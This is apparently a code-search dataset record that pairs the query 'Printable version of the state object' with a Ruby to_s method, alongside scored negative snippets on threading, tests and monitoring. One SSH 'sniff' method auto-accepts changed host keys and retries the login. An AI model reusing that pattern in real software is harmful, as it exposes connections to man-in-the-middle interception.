]\n\n $db.execute(\"INSERT INTO events VALUES (?,?,?,?,?,?,?,?,?);\", tblArray);\n $log.debug(\"Event Recorded in db.event\")\n\n when 'COMMAND'\n\n command = message.msg\n\n case command[:command]\n when 'STATE'\n $log.debug \"STATE MSG RECEIVED: #{command[:state]}\"\n set_state(command[:state])\n when :LENGTH\n $log.debug \"Length Change MSG RECEIVED: #{command[:length]}\"\n @gameclock.set_gamelength(command[:length], 'seconds')\n end\n\n when 'STATUS'\n @teams.each { |team|\n team.INBOX << GMessage.new({:fromid=>'Main Thread',:signal=>'STATUS'})\n }\n\n when 'DIE'\n break\n else\n break\n end\n\n end #@INBOX Poll\n\n #wait for all the teams to finish\n $log.debug \"Waiting for Team thread exit\"\n @localteams.each { |team| team[:thr].join }\n $log.debug \"Team thread join complete\"\n\n end", "def threads\n raise CapabilitiesExceeded\n end", "def poller_threads\n @pollers.synchronize { @pollers.size }\n end", "def threads\n @rufus ? @rufus.threads : nil\n end", "def sniff(ip, port, user, passwd)\r\n puts \"sniffing #{ip} port #{port} as #{user} with password #{passwd}...\"\r\n\r\n #Add SSH fingerprint mismatch exception handling.\r\n begin\r\n Net::SSH.start(ip, user, :port=>port, :password=>passwd, :timeout=>6, :non_interactive=>true) do |session|\r\n\r\n session.open_channel do |channel|\r\n\r\n channel[:data] = \"\"\r\n @flag_close_channel = false\r\n\r\n device_object = nil\r\n\r\n channel.request_pty do |ch, success|\r\n raise \"Error requsting pty\" unless success\r\n\r\n # Use this method unless it is a CLI\r\n #ch.send_channel_request(\"shell\") do |ch, success|\r\n #raise \"Error opening shell\" unless success\r\n #end\r\n \r\n # need Netconf subsystem\r\n channel.subsystem(\"netconf\") do |ch, success|\r\n raise \"Error requesting netconf subsystem.\" unless success\r\n end\r\n end\r\n\r\n channel.on_data do |ch, data|\r\n #STDOUT.print data\r\n channel[:data] << data\r\n end\r\n\r\n channel.on_process do |ch|\r\n if @flag_close_channel == false and channel[:data].size > 0 and channel[:data].include?(\"hello\")\r\n log_puts \"Found [#{ip}] has Netconf response.\"\r\n #@@sniffer_ip_found_ary << ip\r\n hellomsg = channel[:data]\r\n #$input_array << \"[\" + ip + \"]\" + hellomsg\r\n log_puts \"[#{ip}] has Netconf response [#{hellomsg}]\"\r\n\r\n #decode hello message and create DeviceObject\r\n device_object = DeviceObject.decode_hello_msg(\"[\" + ip + \"]\" + hellomsg)\r\n #initial device for plugin\r\n NCPlugins.set_device device_object\r\n\r\n #check mode\r\n mode = device_object.get_mode \r\n req = nil\r\n if mode.eql? \"e5-400\" or mode.eql? \"e5-312\"\r\n req = NCPlugins.get_close_str\r\n puts \"It is [#{mode}]. And to send request: #{req}\"\r\n else\r\n #entrance id setting\r\n msgid = $ENTRANCE_ID\r\n puts \"entrance id is: #{msgid}\"\r\n plugin = NCPlugins.get_plugin msgid\r\n req = plugin.get_req\r\n puts \"[main] suppose to send #{req}\"\r\n end\r\n\r\n channel[:data] = \"\"\r\n ch.send_data req \r\n elsif channel[:data].size > 0 and !channel[:data].include?(\"</rpc-reply>\")\r\n puts \"Netconf message is not end yet, keep waiting ...\"\r\n elsif @flag_close_channel == false and channel[:data].size > 0 \r\n puts \"in Channel...\"\r\n\r\n result = channel[:data]\r\n log_puts \"[#{ip}] has Netconf response [#{result}]\"\r\n\r\n msgid = NCPlugins.parse_msgid result\r\n puts \"[main] msgid is: #{msgid}\"\r\n\r\n if msgid != $MESSAGE_ID_END\r\n plugin = NCPlugins.get_plugin msgid\r\n req = plugin.parse_send result\r\n puts \"[main] suppose to send #{req}\"\r\n\r\n channel[:data] = \"\"\r\n ch.send_data req \r\n else\r\n puts \"[main] end Netconf, start writing device object to database\"\r\n device_object.to_mongo \r\n @flag_close_channel = true\r\n end\r\n\r\n puts \"out Channel...\"\r\n puts \"\"\r\n end\r\n end\r\n\r\n channel.on_extended_data do |ch, type, data|\r\n STDOUT.print \"Error: #{data}\\n\"\r\n end\r\n\r\n channel.on_request(\"exit-status\") do |ch,data|\r\n puts \"in on_request exit-status\"\r\n exit_code = data.read_long\r\n end\r\n \r\n channel.on_request(\"exit-signal\") do |ch, data|\r\n puts \"in on_request exit-signal\"\r\n exit_signal = data.read_long\r\n end\r\n\r\n channel.on_eof do |ch|\r\n puts \"remote end is done sending data\"\r\n end\r\n\r\n channel.on_close do |ch|\r\n puts \"channel is closing!\"\r\n end\r\n\r\n session.loop\r\n end #Session end\r\n end #Net end\r\n rescue Net::SSH::HostKeyMismatch => e\r\n # The rescue block is used to ignore the change in key and still login using ssh\r\n log_puts \"[HostKeyMismatch for #{ip}] remembering new key: #{e.fingerprint}\"\r\n e.remember_host!\r\n retry\r\n end\r\n end", "def thread_id\n\n\t\t::Pantheios::Core.thread_id\n\tend", "def run_single_instance()\n `rm results/*.json`\n time_ratio = nil\n while true\n if time_ratio != nil\n puts \"Retrying run to get better GPU globaltimer rate.\"\n puts \"Last rate was #{time_ratio.to_s}\"\n end\n # Throw away runs in which either multiprocesses or threads don't have a\n # reasonable ratio of GPU time to real time from the globaltimer register.\n stdout_process = `./bin/runner configs/multiprocess_two_randomwalk.json`\n time_ratio = get_time_ratio(stdout_process)\n next if (time_ratio <= 0.99) || (time_ratio >= 1.01)\n stdout_thread = `./bin/runner configs/multithread_two_randomwalk.json`\n time_ratio = get_time_ratio(stdout_thread)\n next if (time_ratio <= 0.99) || (time_ratio >= 1.01)\n break\n end\n # Now, process all result files to determine the process vs. thread time.\n process_time = 0.0\n thread_time = 0.0\n files = Dir[\"results/*.json\"]\n files.each do |f|\n kernel_time = get_kernel_time(f)\n if f =~ /multiprocess_/\n process_time += kernel_time\n elsif f =~ /multithread_/\n thread_time += kernel_time\n end\n end\n process_time / thread_time\nend", "def go_faster\n ping_check \"go_faster\"\n end", "def blocking_thread\n worker_thread\n end", "def apply_threading(enum)\n if threads > 1\n enum.in_threads(threads)\n else\n enum\n end\n end", "def apply_threading(enum)\n if threads > 1\n enum.in_threads(threads)\n else\n enum\n end\n end", "def thread_limit\n Rails.env.test? ? 0 : @thread_limit\n end", "def thread?\n false\n end", "def threads=(int)\n if RUBY_ENGINE == 'jruby'\n @threads = int\n elsif int > 1\n puts \"########################################################\"\n puts \"# One thread has been measured best performing on MRI. #\"\n puts \"# Use JRuby for additional concurrency. #\"\n puts \"########################################################\"\n @threads = 1\n end\n end", "def initialize(name, controller, socket, package)\n @name = name\n @controller = controller\n @socket = socket\n @package = package\n @running = false\n\n ## my state\n @want_blocks = [].extend(ArrayDelete2) # blocks i want\n @want_blocks_m = Mutex.new\n @choking = true\n @interested = false\n @snubbing = false\n\n ## peer's state\n @peer_want_blocks = [].extend(ArrayDelete2)\n @peer_choking = true # assumption of initial condition\n @peer_interested = false # ditto\n @peer_pieces = Array.new(@package.num_pieces, false) # ditto\n @peer_virgin = true # does the peer have any pieces at all?\n\n ## connection stats\n @dlmeter = RateMeter.new\n @ulmeter = RateMeter.new\n\n @send_q = Queue.new # output thread takes messages from here and\n # puts them on the wire\n end", "def worker_pool; end", "def worker_pool; end", "def latency; end", "def run_server_thread; end", "def run()\n # let's install signal handlers\n Signal.trap(\"INT\") { EventMachine.stop }\n Signal.trap(\"TERM\") { EventMachine.stop }\n # let's generate config file for statsd router\n File.open(SR_CONFIG_FILE, \"w\") do |f|\n f.puts(\"log_level=1\")\n f.puts(\"data_port=#{SR_DATA_PORT}\")\n f.puts(\"control_port=#{SR_CONTROL_PORT}\")\n f.puts(\"downstream_health_check_interval=#{SR_DS_HEALTH_CHECK_INTERVAL}\")\n f.puts(\"downstream_flush_interval=#{SR_DS_FLUSH_INTERVAL}\")\n f.puts(\"downstream_ping_interval=#{SR_DS_PING_INTERVAL}\")\n f.puts(\"ping_prefix=#{SR_PING_PREFIX}\")\n f.puts(\"threads_num=#{THREADS_NUM}\")\n f.puts(\"downstream=#{(0...DOWNSTREAM_NUM).to_a.map {|x| BASE_DS_PORT + 2 * x}.map {|x| \"127.0.0.1:#{x}:#{x + 1}\"}.join(',')}\")\n end\n @downstream = []\n # socket for sending data\n @data_socket = UDPSocket.new\n # here we start event machine\n EventMachine::run do\n # let's init downstreams\n (0...DOWNSTREAM_NUM).each do |i|\n sm = StatsdMock.new(BASE_DS_PORT + 2 * i, BASE_DS_PORT + 2 * i + 1, i, self)\n @downstream << sm\n end\n # start statsd router\n EventMachine.popen(\"#{SR_EXE_FILE} #{SR_CONFIG_FILE}\", OutputHandler, self)\n sleep 1\n # and set timer to interrupt test in case of timeout\n EventMachine.add_timer(@timeout) do\n abort(\"Timeout\")\n end\n advance_test_sequence()\n end\n end", "def test_answer_fibers\n threads = []\n ids = []\n mutex = Mutex.new\n (1..10).each{\n threads << Thread.new{\n post \"/answer\"\n assert last_response.body.include?('action='), 'not found: action'\n assert last_response.body.include?('hi pre answer'), 'not found: hi pre answer'\n \n action = last_response.body.scan(/action=\\\"([^\\\"]+)\\\"/).first.first.strip\n id = action.scan(/[^\\/]+$/).first\n mutex.synchronize{\n ids << id\n }\n }\n }\n threads.each{|t| t.join}\n threads.clear()\n\n threads = []\n ids.each{|uid|\n threads << Thread.new(uid){|id|\n send_digits = SecureRandom.random_number(3000)\n post \"/digits/%s\" % id, {:Digits => send_digits}\n assert last_response.status == 201, 'bad response'\n assert last_response.body.include?('<Speak >%d</Speak>' % send_digits), 'Not get the digit send'\n }\n }\n threads.each{|t| t.join}\n threads.clear()\n end", "def do_not_thread\n true\n end", "def test_interleaved_requests\n puts \"test_interleaved_requests\"\n 30.times do\n mutex = Mutex.new\n ntimes = rand(50)\n stack = []\n\n t = Thread.new do\n ntimes.times do\n while stack.empty?\n sleep(0.05)\n end\n\n r, s = nil, nil\n mutex.synchronize do\n r = pop\n s = stack.pop\n end\n assert_equal(s, r, \"expected #{s}, got #{r}\")\n sleep(rand(3) / 100.0) if rand(2).zero?\n end\n mutex.unlock if mutex.owned?\n end\n\n ntimes.times do\n mutex.synchronize do\n stack << random_string\n pr = push(stack[-1])\n assert_equal(0, pr, \"expected 0, got #{pr}\")\n end\n sleep(rand(3) / 100.0) if rand(2).zero?\n end\n mutex.unlock if mutex.owned?\n\n t.join\n end\n end", "def run(num_threads)\n count = 0\n\n GC.start\n GC.disable\n\n threads = []\n t0 = Time.now\n limit = 10_000_000 / num_threads\n num_threads.times do\n threads << Thread.new do\n individual_count = 0\n loop do\n individual_count += 1\n count += 1\n break if individual_count == limit\n end\n end\n end\n\n threads.each(&:join)\n elapsed = Time.now - t0\n\n puts \"threads: #{num_threads} count: #{count} rate: #{count / elapsed}\"\nrescue Exception => e\n puts \"Stopped at #{count} threads\"\n p e\nend", "def snat_pool\n super\n end", "def single_threaded?\n @single_threaded\n end", "def single_threaded?\n @single_threaded\n end", "def unit_of_work_id\n Thread.current[:lumberjack_logger_unit_of_work_id] \n end", "def monitor; end", "def thread_helper\n PWork::Helpers::Threads\n end", "def do_not_thread\n true\n end", "def do_not_thread\n true\n end", "def user_agent\n \"SocketLabs-ruby/#{VERSION};ruby(#{RUBY_VERSION})\"\n end", "def snapshot_every_n_requests=(_arg0); end", "def max_queue_threads\n 1\n end", "def show\n @inter_cap = InterCap.get(params[:id])\n @display_array = []\n @max_count = 0\n sequence_array =[@inter_cap.seq1,@inter_cap.seq2]\n puts \"Into The Threads\"\n thread_array=[]\n 2.times do |i|\n thread_array[i] = Thread.new{\n while sequence_array.length > 0 do\n sequence= sequence_array.pop\n alignment_color_array = []\n contact_consensus_array= []\n disorder_consensus_array= []\n inter_array= []\n interflag_array =[]\n interflag_range=[]\n interflagfalse_range=[]\n display_hash = Hash.new\n alignment_color_array = Array.new \n cur_position = 0 \n orig_position = 0\n info_hash = {}\n seq_length = sequence.a_asequences.count\n contacts = sequence.a_asequences.all(:contact_consensus.gte =>0.6)\n disorders = sequence.a_asequences.all(:disorder_consensus.gte =>0.5)\n both = sequence.a_asequences.all(:disorder_consensus.gte =>0.5, :contact_consensus.gte => 0.6)\n info_hash[:abrev_name] = sequence.abrev_name\n info_hash[:cicp_range] = contacts.map{|aa| aa.original_position}.to_range\n info_hash[:cicp_counts] = contacts.count\n info_hash[:disorder_count] = disorders.count\n info_hash[:disorder_range] = disorders.map{|aa| aa.original_position}.to_range\n info_hash[:disorder_percentage] = disorders.count.to_f/seq_length.to_f\n info_hash[:cicp_percentage] = contacts.count.to_f/seq_length.to_f\n info_hash[:both] = both.map{|aa| aa.original_position}.to_range\n info_hash[:both_count] = both.count\n info_hash[:both_percentage] = both.count.to_f/seq_length.to_f\n info_hash[:sequence_length] =seq_length\n \n sequence.a_asequences.all(:order => [:original_position]).each do |amino_acid| \n if InterCap.all(:aasequence1_id => amino_acid.id, :unique=>true, :fields=>[:aasequence1_id, :aasequence2_id]).count > 0 \n intercap = InterCap.all(:aasequence1_id => amino_acid.id, :unique=>true, :fields=>[:aasequence1_id, :aasequence2_id]).count\n interflag = 1\n interflag_range << amino_acid.original_position\n elsif InterCap.all(:aasequence2_id => amino_acid.id, :unique=>true, :fields=>[:aasequence1_id, :aasequence2_id]).count > 0 \n intercap = InterCap.all(:aasequence2_id => amino_acid.id, :unique=>true, :fields=>[:aasequence1_id, :aasequence2_id]).count\n interflag = 1\n interflag_range << amino_acid.original_position\n else\n intercap = 0\n inter_flag = 0\n interflagfalse_range << amino_acid.original_position\n end\n alignment_color_array[amino_acid.original_position] = residue_color(amino_acid.disorder_consensus, amino_acid.contact_consensus, intercap)\n contact_consensus_array[amino_acid.original_position]=amino_acid.contact_consensus\n disorder_consensus_array[amino_acid.original_position]=amino_acid.disorder_consensus\n inter_array[amino_acid.original_position]= intercap\n interflag_array[amino_acid.original_position]= interflag\n end \n puts display_hash[\"name\"] = sequence.abrev_name \n display_hash[\"alignment\"] = alignment_color_array\n display_hash[\"contacts\"] = contact_consensus_array\n display_hash[\"disorders\"] = disorder_consensus_array\n display_hash[\"inter\"] = inter_array\n display_hash[\"interflag\"] = interflag_array\n display_hash[\"info\"] = info_hash\n display_hash[\"inter_range\"] = interflag_range\n display_hash[\"interfalse_range\"] = interflagfalse_range\n @display_array << display_hash\n end\n }\n end\n thread_array.map{|t| t.join}\n # \n # @contact_consensus_array = @contact_consensus_array.map{|a| a.inject(0){|sum,item| sum + item}}\n # @cicp_array = @cicp_array.map{|a| a.inject(0){|sum,item| sum + item}}\n # disorder_array = @contact_consensus_array.map{|dv| dv.to_f/@seq_contact_count}\n # cicp_avgs = @cicp_array.map{|dv| dv.to_f/@cicp_contact_count}\n # aa_array = Array(1..@contact_consensus_array.count)\n # group_data = aa_array.zip(disorder_array, cicp_avgs,@conservation)\n # require 'csv'\n # @filename = \"#{align.alignment_name}_display_data.csv\"\n # CSV.open(\"public/\"+@filename, \"w\") do |csv|\n # csv << [\"Position\",\"Disorder\",\"CICP\",\"Conservation\"]\n # group_data.each do |gd|\n # csv << gd.map{|e| e.nil? ? 0 : e}\n # end\n # end\n #debugger\n cur_position = 0\n tick_counter = 0\n alignment_tick_array = Array.new\n @max_count = @inter_cap.seq1.a_asequences.count > @inter_cap.seq2.a_asequences.count ? @inter_cap.seq1.a_asequences.count : @inter_cap.seq2.a_asequences.count\n \n while cur_position <= @max_count\n cur_position += 1\n tick_counter += 1\n if tick_counter != 25\n alignment_tick_array << \"FFFFFF\"\n else\n alignment_tick_array << \"000000\"\n tick_counter = 0\n end\n end\n display_hash = Hash.new\n display_hash[\"name\"] = \"\"\n display_hash[\"alignment\"] = alignment_tick_array \n @display_array << display_hash\n if params[:aa_length].nil?\n @aa_length = 400\n else\n @aa_length = params[:aa_length].to_i\n end\n @ranges = (@max_count/@aa_length)\n\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inter_cap }\n end\n end", "def test_thread_answer\n threads = []\n (1..10).each{\n threads << Thread.new{\n post \"/answer\"\n assert last_response.status == 201\n assert last_response.body.include?('action='), 'not found: action'\n assert last_response.body.include?('hi pre answer'), 'not found: hi pre answer'\n \n action = last_response.body.scan(/action=\\\"([^\\\"]+)\\\"/).first.first\n id = action.scan(/[^\\/]+$/).first\n send_digits = SecureRandom.random_number(3000)\n post \"/digits/%s\" % id, {:Digits => send_digits}\n assert last_response.status == 201, 'bad response'\n assert last_response.body.include?('<Speak >%d</Speak>' % send_digits), 'Not get the digit send %s' % send_digits\n }\n }\n threads.each{|t| t.join}\n threads.clear()\n end", "def initialize(opts = {})\n @addr = opts[:addr] || '0x20'\n @i2cbus = opts[:i2cbus] || 1\n @int = opts[:int] || nil\n @stub = opts[:stub]\n @state = read_state\n @pins = Array.new(8) {|i| Pin.new self, i }\n @rsm = Mutex.new\n @on_change_blocks = []\n @q_check_state = Queue.new\n\n return if @stub\n\n # FIXME event can be missed between firing these\n # probably could be fixed by doing read after setting up a hook\n if @int\n system(\"gpio -g mode #{@int} in\")\n Catcher.thread(\"check state\") do\n loop do\n @q_check_state.pop\n sleep 0.3 # let gpio wfi command start\n puts \"double check\"\n prev_state = nil\n decide = nil\n new_state = nil\n @rsm.synchronize do\n prev_state = @state\n puts \"GO prev_state #{prev_state}\"\n @state = read_state\n new_state = @state\n puts \"GO new state #{@state}\"\n decide = (@state != prev_state)\n end\n if decide #@state != prev_state # in case many PCFs are connected to single interrupt\n Catcher.thread \"pcf on change blocks\" do\n #puts \"##{@number} change!: #{prev_state} -> #{new_state} GOT ONE =====\"\n @on_change_blocks.each {|b| b.call(prev_state,new_state) }\n end\n end\n end\n end\n\n Catcher.thread(\"pin listen\") do\n begin\n loop do\n @q_check_state.push true\n `gpio -g wfi #{@int} both`\n prev_state = nil\n decide = nil\n new_state = nil\n @rsm.synchronize do\n prev_state = @state\n puts \"prev_state #{prev_state}\"\n #sleep 0.01\n @state = read_state\n new_state = @state\n puts \"new state #{@state}\"\n decide = (@state != prev_state)\n end\n if decide #@state != prev_state # in case many PCFs are connected to single interrupt\n Catcher.thread \"pcf on change blocks\" do\n puts \"##{@number} change!: #{prev_state} -> #{new_state}\"\n @on_change_blocks.each {|b| b.call(prev_state, new_state) }\n end\n end\n end\n rescue Exception => e\n puts \"SHIT #{e}\"\n end\n end\n end\n end", "def do_not_thread\n\n true\n end", "def poll_cycle\n\n puts \"---------------------\"\n puts \"#{host}\"\n puts \"---------------------\"\n data = twemproxy_data()\n\n summary_ejections = 0\n summary_client_connections = 0\n summary_requests = 0\n summary_server_connections = 0\n summary_server_errors = 0\n summary_in_queue = 0\n summary_out_queue = 0\n summary_servers = 0\n data.keys.find_all{|k| data[k].is_a?(Hash)}.each do |pool|\n summary_client_connections += metric_total(\"client connections/#{pool}\", data[pool]['client_connections'], \"connections\")\n summary_ejections += metric_total(\"server ejections/#{pool}\", data[pool]['server_ejects'], \"ejects\")\n\n data[pool].keys.find_all{|k| data[pool][k].is_a?(Hash)}.each do |server|\n summary_servers += 1\n summary_requests += metric_value(\"server requests/#{pool}/#{server}\", data[pool][server]['requests'], \"requests\")\n summary_server_connections += metric_total(\"server connections/#{pool}/#{server}\", data[pool][server]['server_connections'], \"connections\")\n summary_server_errors += metric_value(\"server errors/#{pool}/#{server}\", data[pool][server]['server_err'], \"errors\")\n summary_in_queue += metric_total(\"in queue/#{pool}/#{server}\", data[pool][server]['in_queue'], \"ops\")\n summary_out_queue += metric_total(\"out queue/#{pool}/#{server}\", data[pool][server]['out_queue'], \"ops\")\n metric_value(\"request bytes/#{pool}/#{server}\", data[pool][server]['request_bytes'], \"bytes\")\n metric_value(\"response bytes/#{pool}/#{server}\", data[pool][server]['response_bytes'], \"bytes\")\n end\n end\n\n metric_total \"total ejections\", summary_ejections, \"ejects\"\n metric_total \"total client connections\", summary_client_connections, \"connections\"\n metric_total \"total server requests\", summary_requests, \"requests\"\n metric_total \"total server connections\", summary_server_connections, \"connections\"\n metric_total \"total server errors\", summary_server_errors, \"errors\"\n metric_total \"total in queue\", summary_in_queue, \"ops\"\n metric_total \"total out queue\", summary_out_queue, \"ops\"\n metric_total \"total servers\", summary_servers, \"servers\"\n metric_total \"percent up\", (((summary_servers - summary_ejections) / summary_servers) * 100.0), \"%\"\n end" ]
[ "0.5767929", "0.5718602", "0.5718602", "0.5718602", "0.5625441", "0.55687666", "0.55488056", "0.55488056", "0.55488056", "0.54524916", "0.53529274", "0.5319013", "0.53042847", "0.5265917", "0.52533245", "0.52300936", "0.5217938", "0.52061605", "0.518276", "0.5179148", "0.5173824", "0.5160587", "0.51484656", "0.5145208", "0.5138541", "0.51354533", "0.5129284", "0.5114301", "0.5099453", "0.5098593", "0.50772315", "0.50772315", "0.50619745", "0.50619584", "0.5057587", "0.50514036", "0.5042036", "0.5042036", "0.5025502", "0.49942094", "0.49899837", "0.49805915", "0.49767712", "0.4976106", "0.49570352", "0.49539533", "0.49281383", "0.49280992", "0.49267137", "0.49214336", "0.49187523", "0.49151063", "0.49118048", "0.49074155", "0.49062017", "0.48897314", "0.48892578", "0.48830602", "0.48829213", "0.48762673", "0.48731372", "0.4872525", "0.48634177", "0.48608536", "0.4860212", "0.48581094", "0.48532578", "0.48525438", "0.48523837", "0.48494905", "0.48494905", "0.48466378", "0.48392424", "0.4837083", "0.48311144", "0.48291138", "0.48291138", "0.48178476", "0.4817237", "0.4814793", "0.4811799", "0.48103753", "0.4807581", "0.47980693", "0.47948208", "0.47944906", "0.47944906", "0.47934338", "0.47926128", "0.4791858", "0.47883633", "0.47883633", "0.47834796", "0.4782665", "0.47795245", "0.47791353", "0.47707412", "0.4770554", "0.4767963", "0.47660306" ]
0.5941943
0
Printable version of the state object
def to_s "#{str_ip(@src)}:#{@sport} - #{str_ip(@dst)}:#{@dport}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dump_state\n $log.debug \"State: [#{state.to_pretty_s}]\"\n end", "def inspect\n \"#{name}=#{state.inspect} #{location}\"\n end", "def to_s\n \"#{name}#{state}\"\n end", "def to_pretty_s\n \"#{type}:#{name} is #{state}\"\n end", "def show_state\n\t\tputs \"#{self.name} a #{self.life_points} points de vie et une arme de niveau #{self.weapon_level}.\"\n\tend", "def print_state\n @@rows.times do |row|\n @@columns.times do |column|\n print '%4.4s' % @state_array[row * @@columns + column].to_s,\" \"\n end\n print \"\\n\"\n end\n print \"\\n\"\n end", "def print_state(machine)\n puts \"[#{machine[:stack]}, #{machine[:register]}]\"\nend", "def to_s\n \"state: #{@symbol} (options=#{options})\"\n end", "def show_state\n puts \"#{self.name} a #{self.life_points} points de vie et son arme est de niveau #{self.weapon_level}.\"\n end", "def show_state\n\t\tputs \"#{@name} a #{life_points} de points de vie et une arme de niveau #{weapon_level}\"\n\tend", "def show_state\n puts \"#{@name} a #{@life_points} de PV\"\n end", "def show_state\n puts \"#{self.name} a #{self.life_points} points de vie.\"\n end", "def current_state_string\n string = \"\"\n\n (@size * @size).times{ |i|\n if i % @size == 0\n string << \"\\n\\t\"\n end\n if @state[i]\n string << \"1 \"\n else\n string << \"0 \"\n end\n }\n string << \"\\n\"\n\n return string\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end", "def show_state\n puts \"#{name} a #{life_points} points de vie !!\"\n end", "def show_state\n\t\tputs \"#{@name} a #{@life_points} points de vie.\"\n\tend", "def show_state\n puts \"#{name} a #{life_points} points de vie!\"\n end", "def show_state\r\n puts \"#{@name} à #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\r\n end", "def to_s\n\t\tputs(\"States: #{@states}\")\n\t\tputs(\"Input Symbols: #{@input_symbols}\")\n\t\tputs(\"Output_symbols: #{@output_symbols}\")\n\t\tputs(\"Left Marker: #{@left_marker}\")\n\t\tputs(\"Blank Symbol: #{@blank_symbol}\")\n\t\tputs(\"Start State: #{@start_state}\")\n\t\tputs(\"Accept State: #{@accept_state}\")\n\t\tputs(\"Reject State: #{@reject_state}\")\n\t\tputs(\"Function Map: #{@function_map}\")\n\t\treturn \"\"\n\tend", "def show_state\n puts \"#{@names} a #{@life_points} points de vie et une arme de niveau #{@weapon_level}\"\n end", "def show_state\n \tputs \"#{@name} a #{life_points} points de vie\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} de vie\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie.\"\n end", "def show_state\n\t\treturn \"#{self.name} a #{self.life_points} points de vie.\"\n\tend", "def show_state \n puts \"#{@name} a #{@life_points} points de vie et une arme au niveau #{@weapon_level}.\"\n end", "def show_state\n return \"#{@name} a #{@life_points} points de vie\"\n end", "def show_state\n puts \"#{@name} a #{@life_points} points de vie\"\n end", "def show_state\r\n puts \"#{@name} à #{@life_points} points de vie\"\r\n end", "def state\n object.human_state_name\n end", "def show_state\n return \"#{@name} a #{life_points} points de vie et une amre de niveau #{weapon_level}\"\n end", "def show_state\n puts \"#{@name} à #{@life_points} points de vie\"\n end", "def show_state\n puts \"#{names} a #{life_points} points de vie\"\n end", "def show_state\n puts \"#{name} à #{life_points} points de vie\"\n end", "def show_state \n puts \"#{@name} a #{@life_points} points de vie.\"\n end", "def to_pretty_s\n @state.reduce([]) do |arr, entry|\n arr << entry[1].to_pretty_s\n end.join(',')\n end", "def show_state \n puts \"#{@name} à #{@life_points} points de vie\"\n end", "def description\n @state.description\n end", "def show_state\n puts \"#{@name} has #{@life_points} life points\"\n end", "def to_s\r\n s = StringIO.new\r\n newstate = map\r\n @initstate.each_with_index do |sum, i|\r\n if sum != newstate[i]\r\n s.write \"*\"\r\n @initstate[i] = newstate[i]\r\n else\r\n s.write \".\"\r\n end\r\n end\r\n s.rewind;s.read()\r\n end", "def human_readable_state\n hash = {}\n @state.dup.each do |c, v|\n hash[Dictionary.command_to_name(c).to_s] = (Dictionary.command_value_to_value_name(c, v) || v.to_s).to_s\n end\n hash\n end", "def to_s\n \"state: #{@state}, line: #{@line_counter}, file: #{@file_name}\"\n end", "def show_state\n return puts \"#{super} et une arme de niveau \\\"#{@weapon_level}\\\"\"\n end", "def describe_state(state)\n $states[state.to_sym].last.join(' ,')\nend", "def state_str\n VM_STATE[state]\n end", "def state_str\n VM_STATE[state]\n end", "def render_State s\n return if @rendered[s]\n @rendered[s] = true\n\n stream.puts \"\\n// #{s.inspect}\"\n \n sequence = [ ]\n \n if options[:history]\n options[:history].each_with_index do | hist, i |\n if hist[:new_state] && s.is_a_superstate_of?(hist[:new_state])\n sequence << i + 1\n end\n end\n end\n\n dot_opts = {\n :label => dot_label(s),\n :shape => :box,\n :style => \"filled\",\n }\n\n case\n when s.end_state?\n dot_opts[:label] = \"\" # DONT BOTH LABELING END STATES.\n dot_opts[:shape] = :doublecircle\n end\n\n dot_opts = dot_opts_for s, dot_opts\n\n hide_decomposition = dot_opts.delete(:hide_decomposition)\n stream.puts \" // hide_decomposition = #{hide_decomposition.inspect}\"\n\n if (hs = options[:highlight_states]) && hs.include?(s)\n dot_opts[:style] += ',bold'\n end\n\n unless sequence.empty?\n if options[:highlight_state_history] && (s.submachine ? hide_decomposition : true)\n dot_opts[:fillcolor] = :grey\n end\n if options[:show_state_sequence] \n dot_opts[:label] += \"\\\\n(#{sequence_to_s(sequence)})\\\\r\"\n end\n else\n if options[:highlight_state_label_history]\n dot_opts[:fontcolor] = :grey\n end\n if options[:highlight_state_border_history]\n dot_opts[:color] = :grey\n end\n end\n\n dot_opts[:color] ||= :black\n dot_opts[:fontcolor] ||= :black\n dot_opts[:fillcolor] ||= :white\n\n # Dont label FinalStates, it causes too much clutter.\n # Invert the colors to be more like UML.\n case\n when s.end_state?\n dot_opts[:label] = \"\" \n dot_opts[:fillcolor], dot_opts[:fontcolor] =\n dot_opts[:fontcolor], dot_opts[:fillcolor]\n end\n\n if ssm = s.submachine\n # Composite States are rendered as\n # a subgraph cluster with a target and source \"connection point\" for external connections.\n # This is where the dot_name(s, :source || :target) is defined.\n # Subsequence Transitions edges will used these connnection points.\n implicit_dot_opts = dot_opts.dup\n dot_opts[:hide_decomposition] = hide_decomposition\n render_StateMachine(ssm, dot_opts) do\n dot_opts = implicit_dot_opts\n dot_opts[:shape] = :point\n dot_opts[:label] = \"[]\"\n\n stream.puts %Q'\\n subgraph cluster_#{dot_name(s, :source)} {'\n stream.puts %Q{ color=none;}\n stream.puts %Q{ fillcolor=none;}\n stream.puts %Q{ fontcolor=none;}\n stream.puts %Q{ label=\"\";}\n stream.puts %Q{ shape=\"plaintext\";}\n stream.puts %Q{ style=\"none\";}\n\n dot_opts[:color] = :black\n dot_opts[:fillcolor] = :black\n stream.puts \"\\n// Implicit target point for State #{s.to_s}\"\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :target)};}\n\n dot_opts[:color] = :black\n dot_opts[:fillcolor] = :white\n stream.puts \"\\n// Implicit source point for State #{s.to_s}\"\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, :source)};}\n stream.puts \"\\n }\\n\"\n end\n return self\n end\n\n # Non-composite States are rendered as simple nodes.\n # In this case dot_name(s, :source || :target) == dot_name(s).\n dot_opts[:style] += ',rounded'\n stream.puts %Q{ node [ #{render_opts(dot_opts)} ] #{dot_name(s, [:source, :target])};}\n\n return self\n end", "def state\n @state\n end", "def write_state; end", "def write_state; end", "def printState(count,md,mq,ac)\n\tputs(count.to_s(2))\n\tputs(\"MD:\" + md.join)\n\tputs(\"AC:\" + ac.join)\n\tputs(\"MQ:\" + mq.join)\nend", "def state\n @state\n end", "def state\n players.map(&:inspect).join(\"\\n\")\n end", "def inspect\n \"#<#{self.class} @index=#{index}, @state=#{state}>\"\n end", "def inspect\n \"#<#{self.class} @index=#{index}, @state=#{state}>\"\n end", "def state_string\n state.flatten.each_with_object([]) do |square, result|\n result << square_character(square)\n end\n end", "def verbose_state\n { @name =>\n { :elements =>\n @elements.inject(Hash.new) { |hash, element| hash.merge 